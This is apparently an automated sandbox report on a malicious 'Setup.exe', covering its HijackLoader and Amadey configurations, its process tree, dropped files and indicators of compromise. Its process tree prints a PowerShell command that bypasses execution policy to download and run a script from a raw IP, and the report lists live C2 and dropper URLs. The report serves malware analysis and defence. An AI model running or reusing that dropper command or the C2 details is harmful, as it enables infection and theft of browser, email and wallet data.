Analysis

  • max time kernel
    299s
  • max time network
    303s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20251017-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    25/10/2025, 15:00

General

  • Target
    Setup.exe
  • Size 6.3MB
  • Sample251025-sdlftsew4c
  • SHA256 bd9f45337c13bcbd25151f8a06c8894990c7800a905ca1e53480e4d4c7eb7936
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • hijackloader

Attributes
  • directory

    %ALLUSERSPROFILE%\frameworknotepad

  • inject_dll

    %windir%\SysWOW64\rasapi32.dll

xor.hex

Extracted

Family
  • amadey

Version
  • 5.64

Botnet
  • 74a65b

C2
  • http://mi.overlapsnowbound.com

Attributes
  • install_dir

    2d44bacc67

  • install_file

    Ahdvfzkeyo.exe

  • strings_key

    c03135dc90dd4923dc1d82a56dc86dab

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Program crash 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:4524
    • C:\Users\Admin\AppData\Local\WaEmulator64.exe
      C:\Users\Admin\AppData\Local\WaEmulator64.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:728
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3656
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2128
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:1540
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:4112
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:952
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:4092
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:5224
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:4336
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1196
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • Badlisted process makes network request
                    • System Location Discovery: System Language Discovery
                    PID:1560
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:3180
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3180 -s 668
                      4⤵
                      • Program crash
                      PID:4128
                  • C:\Users\Admin\ox.exe\Statio.exe
                    C:\Users\Admin\ox.exe\Statio.exe
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:2144
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:852
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:2904
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3180 -ip 3180
                    1⤵
                      PID:5340

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          31BA8E2.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\31BA8E2.tmp
                          • Size 2.6MB
                          • SHA256 1aee4cd0a6b3d5fc6420a7c9a70177c6f0406bced52d2036f9f1a9fb9177d88f
                          • MD5 SHA1 SHA512 SSDEEP

                          745D488.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\745D488.tmp
                          • Size 40B
                          • SHA256 043c3a17bc037d51a33399a08057972acef99a585e4bcb529bcfafa94b40e770
                          • MD5 SHA1 SHA512

                          __PSScriptPolicyTest_fmf11ujb.hri.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fmf11ujb.hri.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          WaEmulator64.exe

                          • Path C:\Users\Admin\AppData\Local\WaEmulator64.exe
                          • Size 1.6MB
                          • SHA256 c8a1ec1b919f9e760a1a434e4c8e3db33f8c541739c94860132902a509dd0f6a
                          • MD5 SHA1 SHA512 SSDEEP

                          Flundfreb.ftex

                          • Path C:\Users\Admin\ox.exe\Flundfreb.ftex
                          • Size 3.3MB
                          • SHA256 f5bd5d76902cc66e613ef67a86e0fef496b88b1f4db6bdc407d7c5001d1a1312
                          • MD5 SHA1 SHA512 SSDEEP

                          Mait.hsx

                          • Path C:\Users\Admin\ox.exe\Mait.hsx
                          • Size 30KB
                          • SHA256 2aba93e44ec058952351c337d44667d2ee57bd56718c635461dce962d325c625
                          • MD5 SHA1 SHA512 SSDEEP

                          OSPPC.DLL

                          • Path C:\Users\Admin\ox.exe\OSPPC.DLL
                          • Size 145KB
                          • SHA256 34538a1ca44bdd0022bca5dd191787c368fcc4cc775e580c0a6ad0ff5a598354
                          • MD5 SHA1 SHA512 SSDEEP

                          Statio.exe

                          • Path C:\Users\Admin\ox.exe\Statio.exe
                          • Size 49KB
                          • SHA256 abd5308ec6b01b8ada0f2b83a2e1585502cac9e00170edb22332a7c1d96d58d3
                          • MD5 SHA1 SHA512 SSDEEP

                          VCRUNTIME140.dll

                          • Path C:\Users\Admin\ox.exe\VCRUNTIME140.dll
                          • Size 95KB
                          • SHA256 475ab98b7722e965bd38c8fa6ed23502309582ccf294ff1061cb290c7988f0d1
                          • MD5 SHA1 SHA512 SSDEEP

                          jli.dll

                          • Path C:\Users\Admin\ox.exe\jli.dll
                          • Size 83KB
                          • SHA256 00531c7c28c5a550be05659cfe7943a044798a942273ae4469148e826cdfddd6
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/728-16-0x00007FF96BC70000-0x00007FF96BE68000-memory.dmp

                          memory/728-17-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/728-11-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/728-76-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/728-22-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/728-29-0x0000000000400000-0x000000000043C000-memory.dmp

                          memory/952-25-0x0000013247840000-0x0000013247842000-memory.dmp

                          memory/1196-31-0x00000000056F0000-0x0000000005DBA000-memory.dmp

                          memory/1196-57-0x00000000064B0000-0x00000000064CE000-memory.dmp

                          memory/1196-47-0x0000000006010000-0x0000000006367000-memory.dmp

                          memory/1196-74-0x00000000069F0000-0x0000000006A0A000-memory.dmp

                          memory/1196-80-0x0000000074640000-0x0000000074DF1000-memory.dmp

                          memory/1196-81-0x000000000D490000-0x000000000D526000-memory.dmp

                          memory/1196-30-0x0000000004E70000-0x0000000004EA6000-memory.dmp

                          memory/1196-73-0x0000000007D70000-0x00000000083EA000-memory.dmp

                          memory/1196-82-0x0000000007D30000-0x0000000007D52000-memory.dmp

                          memory/1196-58-0x0000000006500000-0x000000000654C000-memory.dmp

                          memory/1196-37-0x0000000005570000-0x0000000005592000-memory.dmp

                          memory/1196-38-0x0000000005E30000-0x0000000005E96000-memory.dmp

                          memory/1196-39-0x0000000005EA0000-0x0000000005F06000-memory.dmp

                          memory/1196-83-0x000000000DAE0000-0x000000000E086000-memory.dmp

                          memory/1540-23-0x000001517AC30000-0x000001517AC32000-memory.dmp

                          memory/1560-33-0x0000000001100000-0x0000000001152000-memory.dmp

                          memory/1560-32-0x0000000000DD0000-0x0000000000DD3000-memory.dmp

                          memory/1560-87-0x0000000000400000-0x000000000046F000-memory.dmp

                          memory/2128-21-0x00000246731A0000-0x00000246731A2000-memory.dmp

                          memory/2144-79-0x00007FF94D150000-0x00007FF94D24F000-memory.dmp

                          memory/3180-54-0x0000000003FC0000-0x00000000045D0000-memory.dmp

                          memory/3180-56-0x0000000003FC0000-0x00000000045D0000-memory.dmp

                          memory/3180-55-0x0000000003FC0000-0x00000000045D0000-memory.dmp

                          memory/3180-53-0x0000000003FC0000-0x00000000045D0000-memory.dmp

                          memory/3180-48-0x00000000018C0000-0x00000000018C3000-memory.dmp

                          memory/3180-49-0x0000000003FC0000-0x00000000045D0000-memory.dmp

                          memory/3656-20-0x000001E661460000-0x000001E661462000-memory.dmp

                          memory/4092-26-0x00000221E8EC0000-0x00000221E8EC2000-memory.dmp

                          memory/4112-24-0x00000196B0B20000-0x00000196B0B22000-memory.dmp

                          memory/4336-28-0x000001777A790000-0x000001777A792000-memory.dmp

                          memory/4524-18-0x0000000073E90000-0x0000000073F70000-memory.dmp

                          memory/4524-9-0x0000000073E90000-0x0000000073F70000-memory.dmp

                          memory/4524-7-0x0000000073E90000-0x0000000073F70000-memory.dmp

                          memory/4524-6-0x0000000073EA6000-0x0000000073EA8000-memory.dmp

                          memory/4524-3-0x00007FF96BC70000-0x00007FF96BE68000-memory.dmp

                          memory/4524-2-0x0000000073E90000-0x0000000073F70000-memory.dmp

                          memory/4524-0-0x0000000003510000-0x000000000367E000-memory.dmp

                          memory/5224-27-0x0000023E07270000-0x0000023E07272000-memory.dmp